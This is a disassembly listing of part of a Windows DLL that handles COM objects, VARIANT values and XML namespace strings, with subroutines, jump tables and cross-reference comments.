		mov	eax, [esi]
		push	dword ptr [ebp-104h]
		push	ebx
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword ptr [eax+14h]
		mov	[ebp-0A4h], eax


loc_69B504A1:				; CODE XREF: sub_69B4FDBC+6CDj
		mov	byte ptr [esi+3Ch], 0


loc_69B504A5:				; CODE XREF: sub_69B4FDBC+534j
		cmp	byte ptr [ebp-1Eh], 0
		jz	loc_69B50537
		mov	ecx, [esi+24h]
		mov	[ebp-134h], ecx
		call	sub_69B3D8EC
		test	al, al
		jz	short loc_69B50537
		mov	ecx, [esi+24h]
		mov	[ebp-138h], ecx
		call	sub_69B3E8B5
		neg	al
		sbb	eax, eax
		and	eax, 8000000Ah
		mov	[ebp-0A4h], eax
		mov	ecx, [esi+24h]
		mov	[ebp-13Ch], ecx
		call	sub_69B3D89C
		test	eax, eax
		jz	short loc_69B50537
		mov	esi, [esi+24h]
		mov	[ebp-140h], esi
		mov	ecx, esi
		call	sub_69B3D89C
		jmp	short loc_69B50531
; ---------------------------------------------------------------------------


loc_69B50502:				; DATA XREF: .text:69B505ACo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5050B:				; DATA XREF: .text:69B505B0o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-4Ch]
		call	sub_69B2D6DB
		mov	eax, [ebp-24h]
		and	dword ptr [eax+1Ch], 0
		mov	eax, [ebp+8]
		push	dword ptr [eax+24h] ; int
		call	sub_69B2E808
		push	eax		; lpString
		push	dword ptr [ebp+0Ch] ; int
		call	sub_69B4F82B


loc_69B50531:				; CODE XREF: sub_69B4FDBC+744j
		mov	[ebp-0A4h], eax


loc_69B50537:				; CODE XREF: sub_69B4FDBC+29Aj
					; sub_69B4FDBC+507j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-4Ch]
		call	sub_69B2DBD4
		mov	eax, [ebp-0A4h]
		call	sub_69B1853C
		retn	14h
sub_69B4FDBC	endp

; ---------------------------------------------------------------------------
off_69B50551	dd offset loc_69B4FE0E	; DATA XREF: sub_69B4FDBC+4Br
		dd offset loc_69B4FF51	; jump table for switch	statement
		dd offset loc_69B4FEC0
		dd offset loc_69B500F6
		dd offset loc_69B4FFC5
		dd offset loc_69B5005B
		dd offset loc_69B4FE4E
		dd offset loc_69B4FF35
		dd offset loc_69B4FF92
		dd offset loc_69B4FEE1
		dd offset loc_69B502A3
byte_69B5057D	db	0,     1,     2,     3 ; DATA XREF: sub_69B4FDBC+44r
		db	4,     3,     2,     5 ; indirect table	for switch statement
		db	5,     2,   0Ah,   0Ah
		db    0Ah,   0Ah,   0Ah,   0Ah
		db	6,   0Ah,     7,     2
		db    0Ah,     2,     8,     9
		db	5
		align 4
; const	WCHAR aXmlns_1
aXmlns_1:				; DATA XREF: sub_69B4FDBC+15Do
					; sub_69B4FDBC+1BAo
		unicode	0, <xmlns:>,0
		align 4
dword_69B505A8	dd 0FFFFFFFFh			dd offset loc_69B50502
		dd offset loc_69B5050B

; =============== S U B	R O U T	I N E =======================================



sub_69B505B4	proc near		; DATA XREF: .text:69B12780o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_69B505CE
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, [eax+1Ch]
		movsd
		movsd
		movsd
		movsd
		xor	eax, eax
		pop	esi
		jmp	short loc_69B505D3
; ---------------------------------------------------------------------------


loc_69B505CE:				; CODE XREF: sub_69B505B4+7j
		mov	eax, 80004003h


loc_69B505D3:				; CODE XREF: sub_69B505B4+18j
		pop	edi
		retn	8
sub_69B505B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B505D7	proc near		; DATA XREF: .text:69B12784o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		jz	short loc_69B50608
		mov	eax, [esp+arg_0]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_69B50601
		push	[esp+arg_4]
		mov	eax, [eax+14h]
		mov	ecx, [eax]
		push	offset dword_69B2B100
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B50601
		xor	eax, eax
		jmp	short locret_69B5060D
; ---------------------------------------------------------------------------


loc_69B50601:				; CODE XREF: sub_69B505D7+Fj
					; sub_69B505D7+24j
		mov	eax, 80004005h
		jmp	short locret_69B5060D
; ---------------------------------------------------------------------------


loc_69B50608:				; CODE XREF: sub_69B505D7+5j
		mov	eax, 80004003h

locret_69B5060D:			; CODE XREF: sub_69B505D7+28j
					; sub_69B505D7+2Fj
		retn	8
sub_69B505D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B50610	proc near		; DATA XREF: .text:off_69B12794o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B5063C
		mov	eax, [ebp+arg_0]


loc_69B50629:				; CODE XREF: sub_69B50610+3Ej
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax


loc_69B5062E:				; CODE XREF: sub_69B50610+44j
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	eax, eax


loc_69B50636:				; CODE XREF: sub_69B50610+54j
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B5063C:				; CODE XREF: sub_69B50610+14j
		mov	esi, [ebp+arg_4]
		push	4
		xor	eax, eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		mov	edi, offset dword_69B2B100
		repe cmpsd
		jz	short loc_69B50629
		cmp	dword ptr [eax+10h], 0
		jz	short loc_69B5062E
		push	[ebp+arg_8]
		mov	eax, [eax+10h]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		jmp	short loc_69B50636
sub_69B50610	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B50666	proc near		; DATA XREF: .text:69B127B8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		add	[eax+3Ch], ecx
		mov	eax, [eax+3Ch]
		push	2
		pop	ecx
		cmp	ecx, eax
		sbb	eax, eax
		neg	eax
		retn	8
sub_69B50666	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B50680	proc near		; DATA XREF: .text:69B127BCo

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword ptr [eax+3Ch], 0
		xor	eax, eax
		retn	4
sub_69B50680	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5068D	proc near		; DATA XREF: .text:69B127D4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		jmp	short loc_69B506A5
; ---------------------------------------------------------------------------


loc_69B50697:				; CODE XREF: sub_69B5068D+1Cj
		test	ecx, ecx
		jle	short loc_69B506AB
		mov	edx, [eax+14h]
		mov	edx, [edx+10h]
		mov	[eax+14h], edx
		dec	ecx


loc_69B506A5:				; CODE XREF: sub_69B5068D+8j
		cmp	dword ptr [eax+14h], 0
		jnz	short loc_69B50697


loc_69B506AB:				; CODE XREF: sub_69B5068D+Cj
		xor	eax, eax
		test	ecx, ecx
		setnz	al
		retn	8
sub_69B5068D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B506B5	proc near		; DATA XREF: .text:69B127D8o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+10h]
		mov	[eax+14h], ecx
		xor	eax, eax
		retn	4
sub_69B506B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B506C4(int, int, VARIANTARG *pvargSrc)

sub_69B506C4	proc near		; CODE XREF: sub_69B507CB+61p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
pvargSrc	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+pvargSrc]
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	4
		pop	ebx
		add	ecx, ebx
		lea	edi, [ecx-4]
		mov	ax, [edi]
		test	ax, ax
		jz	loc_69B507BF
		add	ecx, 0FFFFFFF0h
		mov	[ebp+pvargSrc],	ecx


loc_69B506EC:				; CODE XREF: sub_69B506C4+F5j
		mov	ecx, [ebp+arg_0]
		add	dword ptr [ecx], 0FFFFFFF0h
		mov	esi, [ecx]
		cmp	esi, [ebp+arg_4]
		jz	loc_69B507C4
		mov	[esi], ax
		movzx	eax, ax
		cmp	eax, 0Bh
		jg	short loc_69B50769
		jz	short loc_69B5075B
		dec	eax
		dec	eax
		jz	short loc_69B5075B
		dec	eax
		jz	short loc_69B50783
		sub	eax, 5
		jz	short loc_69B50733
		dec	eax
		jnz	short loc_69B50776


loc_69B50719:				; CODE XREF: sub_69B506C4+ABj
		add	[ebp+pvargSrc],	ebx
		add	edi, ebx
		mov	eax, [edi]
		test	eax, eax
		mov	[esi+8], eax
		jz	loc_69B507AB
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		jmp	short loc_69B507AB
; ---------------------------------------------------------------------------


loc_69B50733:				; CODE XREF: sub_69B506C4+50j
		add	[ebp+pvargSrc],	ebx
		add	edi, ebx
		mov	eax, [edi]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_69B507AB
		push	eax		; OLECHAR *
		call	SysAllocString
		test	eax, eax
		mov	[esi+8], eax
		jnz	short loc_69B507AB
		mov	eax, 8007000Eh


loc_69B50754:				; CODE XREF: sub_69B506C4+E5j
					; sub_69B506C4+FEj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B5075B:				; CODE XREF: sub_69B506C4+44j
					; sub_69B506C4+48j
		add	[ebp+pvargSrc],	ebx
		add	edi, ebx
		mov	ax, [edi]
		mov	[esi+8], ax
		jmp	short loc_69B507AB
; ---------------------------------------------------------------------------


loc_69B50769:				; CODE XREF: sub_69B506C4+42j
		sub	eax, 0Ch
		jz	short loc_69B5078F
		dec	eax
		jz	short loc_69B50719
		sub	eax, 9
		jz	short loc_69B5077E


loc_69B50776:				; CODE XREF: sub_69B506C4+53j
		add	dword ptr [ecx], 10h
		dec	[ebp+var_4]
		jmp	short loc_69B507AB
; ---------------------------------------------------------------------------


loc_69B5077E:				; CODE XREF: sub_69B506C4+B0j
		mov	word ptr [esi],	3


loc_69B50783:				; CODE XREF: sub_69B506C4+4Bj
		add	[ebp+pvargSrc],	ebx
		add	edi, ebx
		mov	eax, [edi]
		mov	[esi+8], eax
		jmp	short loc_69B507AB
; ---------------------------------------------------------------------------


loc_69B5078F:				; CODE XREF: sub_69B506C4+A8j
		push	esi		; pvarg
		call	VariantInit
		add	[ebp+pvargSrc],	10h
		push	[ebp+pvargSrc]	; pvargSrc
		add	edi, 10h
		push	esi		; pvargDest
		call	VariantCopy
		test	eax, eax
		jl	short loc_69B50754


loc_69B507AB:				; CODE XREF: sub_69B506C4+61j
					; sub_69B506C4+6Dj ...
		inc	[ebp+var_4]
		add	[ebp+pvargSrc],	ebx
		add	edi, ebx
		mov	ax, [edi]
		test	ax, ax
		jnz	loc_69B506EC


loc_69B507BF:				; CODE XREF: sub_69B506C4+1Cj
		mov	eax, [ebp+var_4]
		jmp	short loc_69B50754
; ---------------------------------------------------------------------------


loc_69B507C4:				; CODE XREF: sub_69B506C4+33j
		mov	eax, 80004005h
		jmp	short loc_69B50754
sub_69B506C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch

; int __cdecl sub_69B507CB(int,	int, int, VARIANTARG pvargSrc)

sub_69B507CB	proc near		; CODE XREF: sub_69B3E475+6Dp
					; sub_69B3E516+5Dp ...

var_B8		= dword	ptr -0B8h
pvarg		= VARIANTARG ptr -28h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
pvargSrc	= VARIANTARG ptr  14h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 0B8h
		push	esi
		xor	esi, esi
		cmp	[ebp+6Ch+arg_4], esi
		lea	eax, [ebp+6Ch+var_18]
		mov	[ebp+6Ch+var_4], eax
		mov	[ebp+6Ch+var_8], 0FFFFFD9Bh
		jnz	short loc_69B507F5
		mov	eax, 80004003h
		jmp	loc_69B508A4
; ---------------------------------------------------------------------------


loc_69B507F5:				; CODE XREF: sub_69B507CB+1Ej
		cmp	[ebp+6Ch+arg_8], esi
		push	ebx
		mov	ebx, VariantInit
		push	edi
		jz	short loc_69B5081D
		lea	eax, [ebp+6Ch+pvarg]
		push	eax		; pvarg
		mov	[ebp+6Ch+var_4], eax
		call	ebx ; VariantInit
		mov	eax, [ebp+6Ch+arg_8]
		mov	word ptr [ebp+6Ch+pvarg.anonymous_0], 9
		mov	dword ptr [ebp+6Ch+pvarg.anonymous_0+8], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B5081D:				; CODE XREF: sub_69B507CB+35j
		lea	eax, [ebp+6Ch+pvargSrc]
		push	eax		; pvargSrc
		lea	eax, [ebp+6Ch+var_B8]
		push	eax		; int
		lea	eax, [ebp+6Ch+var_4]
		push	eax		; int
		call	sub_69B506C4
		cmp	eax, esi
		mov	edi, [ebp+6Ch+var_4]
		mov	ecx, [ebp+6Ch+arg_8]
		ja	short loc_69B50842
		cmp	ecx, esi
		mov	[ebp+6Ch+var_18], esi
		jz	short loc_69B50845


loc_69B50842:				; CODE XREF: sub_69B507CB+6Ej
		mov	[ebp+6Ch+var_18], edi


loc_69B50845:				; CODE XREF: sub_69B507CB+75j
		xor	edx, edx
		cmp	ecx, esi
		setnz	dl
		add	eax, edx
		neg	ecx
		mov	[ebp+6Ch+var_10], eax
		sbb	ecx, ecx
		lea	eax, [ebp+6Ch+var_8]
		and	ecx, eax
		cmp	[ebp+6Ch+arg_0], esi
		mov	[ebp+6Ch+var_14], ecx
		mov	[ebp+6Ch+var_C], edx
		jz	short loc_69B5086A
		push	[ebp+6Ch+arg_0]	; pvarg
		call	ebx ; VariantInit


loc_69B5086A:				; CODE XREF: sub_69B507CB+98j
		mov	eax, [ebp+6Ch+arg_4]
		mov	ecx, [eax]
		push	esi
		push	esi
		push	[ebp+6Ch+arg_0]
		lea	edx, [ebp+6Ch+var_18]
		push	edx
		push	1
		push	800h
		push	offset dword_69B2AFB0
		push	esi
		push	eax
		call	dword ptr [ecx+18h]
		mov	esi, eax
		jmp	short loc_69B50899
; ---------------------------------------------------------------------------


loc_69B5088D:				; CODE XREF: sub_69B507CB+D3j
		mov	eax, edi
		push	eax		; pvarg
		add	edi, 10h
		call	VariantClear


loc_69B50899:				; CODE XREF: sub_69B507CB+C0j
		lea	eax, [ebp+6Ch+var_18]
		cmp	edi, eax
		jb	short loc_69B5088D
		pop	edi
		mov	eax, esi
		pop	ebx


loc_69B508A4:				; CODE XREF: sub_69B507CB+25j
		pop	esi
		add	ebp, 6Ch
		leave
		retn
sub_69B507CB	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B508AA(LPLONG Target)

sub_69B508AA	proc near		; CODE XREF: sub_69B50BB3+4Ap
					; sub_69B50EF2+12p ...

Target		= dword	ptr  4

		mov	eax, [esp+Target]
		push	esi
		mov	esi, ecx
		push	eax		; Target
		mov	[esi+4], eax
		call	sub_69B18980
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_69B508AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B508C2	proc near		; CODE XREF: .text:69B50A3Fp
		mov	dword ptr [ecx-4], offset off_69B12774
		mov	dword ptr [ecx], offset	off_69B282E4
		mov	ecx, [ecx+10h]
		test	ecx, ecx
		jz	sub_69B2C65C
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]
		jmp	sub_69B2C65C
sub_69B508C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B508E5	proc near		; CODE XREF: .text:69B50A5Ep
		mov	dword ptr [ecx-4], offset off_69B12794
		mov	dword ptr [ecx], offset	off_69B282E8
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		jz	sub_69B2C65C
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]
		jmp	sub_69B2C65C
sub_69B508E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B50908	proc near		; CODE XREF: .text:69B50A7Dp
		mov	dword ptr [ecx-4], offset off_69B127A8
		mov	dword ptr [ecx], offset	off_69B282EC
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		jz	sub_69B2C65C
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]
		jmp	sub_69B2C65C
sub_69B50908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5092B	proc near		; DATA XREF: .text:69B127D0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 1
		jnb	short loc_69B5093F
		mov	eax, 80070057h
		jmp	locret_69B509C5
; ---------------------------------------------------------------------------


loc_69B5093F:				; CODE XREF: sub_69B5092B+8j
		jbe	short loc_69B5094E
		cmp	[ebp+arg_C], 0
		jnz	short loc_69B5094E
		mov	eax, 80004003h
		jmp	short locret_69B509C5
; ---------------------------------------------------------------------------


loc_69B5094E:				; CODE XREF: sub_69B5092B:loc_69B5093Fj
					; sub_69B5092B+1Aj
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_4], ebx
		mov	[ebp+var_4], ebx
		jbe	short loc_69B509AC
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_0]


loc_69B50961:				; CODE XREF: sub_69B5092B+7Dj
		mov	ecx, [edi+14h]
		test	ecx, ecx
		jz	short loc_69B509AA
		mov	ecx, [ecx+14h]
		mov	eax, ebx
		shl	eax, 3
		mov	[eax+esi+4], ecx
		mov	ecx, [edi+14h]
		mov	edx, [ecx]
		dec	edx
		jz	short loc_69B5098C
		dec	edx
		jz	short loc_69B50987
		dec	edx
		jnz	short loc_69B50992
		mov	ecx, [ecx+0Ch]
		jmp	short loc_69B5098F
; ---------------------------------------------------------------------------


loc_69B50987:				; CODE XREF: sub_69B5092B+52j
		mov	ecx, [ecx+8]
		jmp	short loc_69B5098F
; ---------------------------------------------------------------------------


loc_69B5098C:				; CODE XREF: sub_69B5092B+4Fj
		mov	ecx, [ecx+4]


loc_69B5098F:				; CODE XREF: sub_69B5092B+5Aj
					; sub_69B5092B+5Fj
		mov	[eax+esi], ecx


loc_69B50992:				; CODE XREF: sub_69B5092B+55j
		mov	eax, [eax+esi]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, [edi+14h]
		mov	eax, [eax+10h]
		inc	ebx
		cmp	ebx, [ebp+arg_4]
		mov	[edi+14h], eax
		jb	short loc_69B50961


loc_69B509AA:				; CODE XREF: sub_69B5092B+3Bj
		pop	edi
		pop	esi


loc_69B509AC:				; CODE XREF: sub_69B5092B+2Cj
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_69B509B5
		mov	[eax], ebx


loc_69B509B5:				; CODE XREF: sub_69B5092B+86j
		cmp	ebx, [ebp+arg_4]
		pop	ebx
		jz	short loc_69B509C2
		mov	[ebp+var_4], 1


loc_69B509C2:				; CODE XREF: sub_69B5092B+8Ej
		mov	eax, [ebp+var_4]

locret_69B509C5:			; CODE XREF: sub_69B5092B+Fj
					; sub_69B5092B+21j
		leave
		retn	10h
sub_69B5092B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B509C9	proc near		; CODE XREF: sub_69B3E475+87p
					; sub_69B3E516+77p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jnz	short loc_69B509DE
		xor	eax, eax
		jmp	short loc_69B50A36
; ---------------------------------------------------------------------------


loc_69B509DE:				; CODE XREF: sub_69B509C9+Fj
		push	ebx
		xor	ebx, ebx
		mov	[ebp+var_10], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_4], edi


loc_69B509ED:				; CODE XREF: sub_69B509C9+68j
		cmp	ebx, edi
		jl	short loc_69B50A33
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_69B50A1B
		mov	eax, [esi+8]
		mov	ecx, [eax]
		push	edi
		push	edi
		push	edi
		lea	edx, [ebp+var_10]
		push	edx
		push	1
		push	800h
		push	offset dword_69B2AFB0
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+18h]
		mov	ebx, eax
		jmp	short loc_69B50A2C
; ---------------------------------------------------------------------------


loc_69B50A1B:				; CODE XREF: sub_69B509C9+2Dj
		cmp	eax, 3
		jnz	short loc_69B50A2C
		mov	eax, [esi+0Ch]
		push	[ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]


loc_69B50A2C:				; CODE XREF: sub_69B509C9+50j
					; sub_69B509C9+55j
		mov	esi, [esi+10h]
		cmp	esi, edi
		jnz	short loc_69B509ED


loc_69B50A33:				; CODE XREF: sub_69B509C9+26j
		mov	eax, ebx
		pop	ebx


loc_69B50A36:				; CODE XREF: sub_69B509C9+13j
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B509C9	endp

; ---------------------------------------------------------------------------


loc_69B50A3C:				; DATA XREF: .text:off_69B282E4o
		push	esi
		mov	esi, ecx
		call	sub_69B508C2
		test	byte ptr [esp+8], 1
		jz	short loc_69B50A54
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B50A54:				; CODE XREF: .text:69B50A49j
		lea	eax, [esi-4]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B50A5B:				; DATA XREF: .text:off_69B282E8o
		push	esi
		mov	esi, ecx
		call	sub_69B508E5
		test	byte ptr [esp+8], 1
		jz	short loc_69B50A73
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B50A73:				; CODE XREF: .text:69B50A68j
		lea	eax, [esi-4]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B50A7A:				; DATA XREF: .text:off_69B282ECo
		push	esi
		mov	esi, ecx
		call	sub_69B50908
		test	byte ptr [esp+8], 1
		jz	short loc_69B50A92
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B50A92:				; CODE XREF: .text:69B50A87j
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B50A99	proc near		; CODE XREF: sub_69B50B70+6p
		push	esi
		mov	esi, ecx
		push	offset loc_69B50AB4
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B50A99	endp

; ---------------------------------------------------------------------------
		align 4


loc_69B50AB4:				; DATA XREF: sub_69B50A99+3o
		xchg	dh, [edx-454B4E6Ah]
		sbb	dl, [eax]
		mov	dh, 9Ch
		add	[edx+71D3400h],	ch

; =============== S U B	R O U T	I N E =======================================



sub_69B50AC4	proc near		; CODE XREF: sub_69B50CCC+5p
		push	esi
		mov	esi, ecx
		push	offset dword_69B2B100
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B50AC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B50ADD	proc near		; CODE XREF: sub_69B50DC6+5p
		push	esi
		mov	esi, ecx
		push	offset loc_69B50AF8
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B50ADD	endp

; ---------------------------------------------------------------------------
		align 4


loc_69B50AF8:				; DATA XREF: sub_69B50ADD+3o
		test	[edx-454B4E6Ah], esi
		sbb	dl, [eax]
		mov	dh, 9Ch
		add	[edx+71D3400h],	ch

; =============== S U B	R O U T	I N E =======================================



sub_69B50B08	proc near		; CODE XREF: sub_69B51071+5p
		push	esi
		mov	esi, ecx
		push	offset loc_69B50B24
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B50B08	endp

; ---------------------------------------------------------------------------
		align 4


loc_69B50B24:				; DATA XREF: sub_69B50B08+3o
		xchg	esi, [edx-454B4E6Ah]
		sbb	dl, [eax]
		mov	dh, 9Ch
		add	[edx+71D3400h],	ch

; =============== S U B	R O U T	I N E =======================================



sub_69B50B34	proc near		; CODE XREF: sub_69B50ECD+11p
					; sub_69B50EF2+3Ep
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		push	0
		lea	edi, [esi+4]
		push	edi
		call	sub_69B17320
		push	0
		lea	ebx, [esi+8]
		push	ebx
		call	sub_69B17320
		push	0
		add	esi, 0Ch
		push	esi
		call	sub_69B17320
		push	esi
		call	sub_69B17230
		push	ebx
		call	sub_69B17230
		push	edi
		call	sub_69B17230
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B50B34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B50B70	proc near		; CODE XREF: sub_69B50D15+21p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		call	sub_69B50A99
		mov	eax, [ebp+arg_0]
		mov	[esi+1Ch], eax
		mov	eax, [ebp+arg_8]
		mov	[esi+10h], eax
		mov	eax, [ebp+arg_4]
		mov	dword ptr [esi], offset	off_69B12774
		mov	dword ptr [esi+4], offset off_69B282E4
		mov	[esi+14h], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, [ebp+arg_C]
		mov	[esi+18h], eax
		mov	eax, [ebp+arg_10]
		mov	[esi+20h], eax
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	14h
sub_69B50B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B50BB3	proc near		; DATA XREF: .text:69B12788o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_69B50CBB
		cmp	[ebp+arg_8], edi
		jz	loc_69B50CBB
		push	18h
		call	sub_69B11E44
		cmp	eax, edi
		jz	short loc_69B50BEA
		mov	[eax+4], edi
		mov	[eax+8], edi
		mov	[eax+0Ch], edi
		mov	esi, eax
		jmp	short loc_69B50BEC
; ---------------------------------------------------------------------------


loc_69B50BEA:				; CODE XREF: sub_69B50BB3+28j
		xor	esi, esi


loc_69B50BEC:				; CODE XREF: sub_69B50BB3+35j
		cmp	esi, edi
		jz	loc_69B50CB2
		mov	edi, [ebp+arg_0]
		push	dword ptr [edi+18h] ; Target
		lea	ecx, [ebp+var_C]
		call	sub_69B508AA
		mov	eax, [edi+20h]
		dec	eax
		dec	eax
		jz	short loc_69B50C82
		dec	eax
		jz	short loc_69B50C50
		mov	[ebp+arg_4], 80004002h


loc_69B50C13:				; CODE XREF: sub_69B50BB3+B0j
					; sub_69B50BB3+E2j
		push	ebx
		lea	eax, [esi+4]
		push	eax
		mov	dword ptr [esi], 1
		call	sub_69B17320


loc_69B50C23:				; CODE XREF: sub_69B50BB3+CDj
		mov	eax, [edi+10h]
		mov	eax, [eax]
		push	offset dword_69B9B26C ;	lpAddend
		mov	[esi+10h], eax
		call	ds:InterlockedIncrement	; InterlockedIncrement
		mov	ecx, [ebp+arg_8]
		push	[ebp+var_C]
		mov	[esi+14h], eax
		push	[ebp+var_8]
		mov	[ecx], eax
		mov	eax, [edi+10h]
		mov	[eax], esi
		call	sub_69B18788
		jmp	short loc_69B50CC2
; ---------------------------------------------------------------------------


loc_69B50C50:				; CODE XREF: sub_69B50BB3+57j
		mov	eax, [ebx]
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	offset dword_69B2B0E0
		push	ebx
		call	dword ptr [eax]
		test	eax, eax
		mov	[ebp+arg_4], eax
		jl	short loc_69B50C13
		push	[ebp+arg_0]
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		mov	eax, [ebp+arg_0]
		mov	dword ptr [esi], 3


loc_69B50C7A:				; CODE XREF: sub_69B50BB3+FDj
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	short loc_69B50C23
; ---------------------------------------------------------------------------


loc_69B50C82:				; CODE XREF: sub_69B50BB3+54j
		mov	eax, [ebx]
